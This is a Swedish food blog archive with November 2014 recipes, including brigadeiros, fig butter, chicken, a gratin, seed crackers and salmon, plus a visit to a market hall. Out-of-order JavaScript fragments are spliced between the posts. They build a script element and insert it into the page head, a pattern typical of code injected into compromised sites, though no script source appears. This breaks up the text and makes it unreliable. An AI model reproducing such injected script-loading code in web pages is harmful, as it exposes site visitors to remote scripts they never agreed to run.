Brigadeiros

29 november, 2014 @ 09:33

Jag tröttnar aldrig på brigadeiros…sååå goda. Grundreceptet hittade jag här.

Recept (15 runda bollar)
1 burk sötad kondenserad mjölk (400 gram)
50 gram smör eller margarin
3 msk kakao
1 krm salt

Garnering: Kakao

Gör så här:
Häll kondenserad mjölk, smör eller margarin, kakao och salt i en tjockbottnad gryta. Sätt plattan på högsta värmen och rör hela tiden med en trägaffel. När smeten börjar tjockna – sänk temperaturen till medeltemperatur. Om det bildats klumpar – rör under några sekunder med en visp. Smeten är färdig när den är tjock, det tar 8-10 minuter. Ett litet tips. Rör ut din kakao i lite vatten och sen ner i grytan så slipper du få klumpar i smeten.

Låt smeten kallna i kylen på en tallrik ca 2 timmar. Forma kulor av smeten och rulla dem i dekorationsströssel eller kakao. Förvara brigadeiros kallt i kylskåpet, de är godast kalla. Jag tyckte mina brigadeiros blev godast med chokladströssel.

if (document.currentScript) {

Färskostbollar med renkött

28 november, 2014 @ 09:25

Det här receptet hittade jag här.

Recept 12 bollar
100 g philadelphiaost
75 g rökt renkött, finhackat
1 tsk färskriven pepparrot
1 dl hackade örter, som dill, gräslök, persilja

Gör så här:
Blanda cream cheese, renkött och pepparrot. Rulla till små bollar.
Häll upp örterna på ett fat. Rulla varje boll i örterna så att de täcks. Förvara bollarna kallt tills de ska serveras.

Fikonsmör

27 november, 2014 @ 09:28

Förra helgen fick jag testa på ett supergott fikonsmör till pepparkakor och ost . Nedan hittar ni två recept på fikonsmör. Det ena receptet hittade jag på Renée Voltaire’s hemsida här. Jag dubblade Renée Voltaire’s recept för att få en liten burk.

1 liten burk
8-10 torkade fikon
1 banan
1 cm ingefära, skalad (ca 1 tsk)
1 nypa salt

Gör så här: Ta bort den hårda kvisten på toppen av fikonet. Mixa ingredienserna till en slät röra.

Den andra varianten av fikonsmör finns på Under vårt tak’s blogg här.

1 liten burk
10 soltorkade fikon
1 banan
1 tsk färskriven ingefära
1 tsk kanel
1 nypa havssalt

Gör så här: Skär av den hårda kvisten på toppen av fikonet. Mixa ingredienserna till en slät röra. Förvara fikonsmöret i en tätslutande burk med lock i kylskåpet.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Kville Saluhall

26 november, 2014 @ 09:02

Förra helgen besökte jag Kville Saluhall för första gången.

På Vågmästarplatsen ligger den nya saluhallen i två plan.

Vilken fin lokal och en massa gott i saluhallen att köpa. Det går även att fika/äta lunch där om man vill.

Här kommer lite bilder på stället.

}

Marinerad kyckling med basilika och soltorkad tomat.

25 november, 2014 @ 14:05

Marinerad kyckling med basilika och soltorkad tomat.

Ingredienser: 1 kg kycklingbröstfilé, salt och peppar

Marinad:

2 dl olivolja

1 dl balsamvinäger

Färsk basilika

Soltorkade, marinerade tomater

4 klyftor vitlök, krossade och hackade

Gör så här: Krydda kycklingen och bryn den i en stekpanna. Lägg kycklingen på en plåt in i ca 20 min på 200 grader. Låt kycklingen kallna. Blanda marinaden och lägg i kycklingen i några timmar (eller över natten). Skär upp kyckingen i skivor innan servering och lägg på lite extra basilika vid servering. Servera gärna med en grekisk sallad.

var d=document;var s=d.createElement(‘script’);

Chokladsnickers (LCHF)

21 november, 2014 @ 09:01

Det här receptet hittade jag på Instragram.

Recept 32 st .
4 dl grädde
2 tsk vaniljpulver
4 msk sukrin
200 gram smör

70% mörk choklad att doppa pralinerna i.

Gör så här:
Blanda 4 dl grädde med vaniljpulver, sukrin och smör och låt sjuda på svag värme tills det tjocknar och blir som kolasås. Tar ca en timme. Häll i en form som du klätt i plastfolie och på med jordnötter och tryck ner dem lite. Ställ det i frysen ca 1 1/2 timme. Ta ut formen och dela i ca 32 bitar. Doppa med hjälp av en matpincett i smält choklad som du blandat ner med lite smör och sen in i kylen.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Potatis- och kasslergratäng

20 november, 2014 @ 10:03

Här kommer ett recept på en supergod kasslergratäng. Grundreceptet hittade jag här. Jag serverade kasslergratängen med en grönsallad.

Ingredienser 4 person
400 g kassler
8-10 medelstora potatisar ca 750 g
1 gul lök
3 dl grädde
2 dl riven smakrik ost
1 krm salt
1 krm svartpeppar
1 paket cantadou vitlök

Gör så här:
Sätt ugnen på 225°. Skär kasslern i bitar. Skala potatisen och skiva den tunt. Skär den gula löken i skivor och stek lätt i stekpannan. Lägg några lager med potatis, lök, och riven ost i en smörjd, ugnsfast form. Toppa med kasslern och klicka ut din cantadou och resten av den rivna osten. Häll över grädden. Grädda mitt i ugnen ca 25 min. Servera med en grönsallad och ev. vitlöksbröd.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Frökex

19 november, 2014 @ 09:49

Receptet på frökexen ger en bakplåt med frökex.

Recept
1 dl majsmjöl
1 dl solrosfrön
1 dl sesamfrön
1 dl pumpakärnor
1/2 dl rapsolja
2 dl kokande vatten.

Gör så här:
Rör ihop alla ingredienser och platta ut på en klädd bakplåt. Grädda på 150 grader i mitten av ugnen ca 1 timma och låt eftergrädda när du stängt av ugnen.

Lax i ugn

18 november, 2014 @ 09:29

I fredags lagade jag det här goda receptet som smakade riktigt gott. Grundreceptet hittade jag här.

4port:
4 laxfiléer
1 burk cantadou vitlök & örter (färskost)
3 dl grädde
salt & citronpeppar
handskalade räkor på burk (alt skala egna. köp under inga omständigheter färdigskalade frysta eller små inlagda räkor -det är inte gott!)

Lägg laxen i en ugnsform. Blanda färskost och grädde till en sås. Smaksätt med salt och citronpeppar. Häll såsen över laxen och ställ in i ugnen, 200 C, ca 20 min. Ta ut formen ur ugnen och strö över räkorna.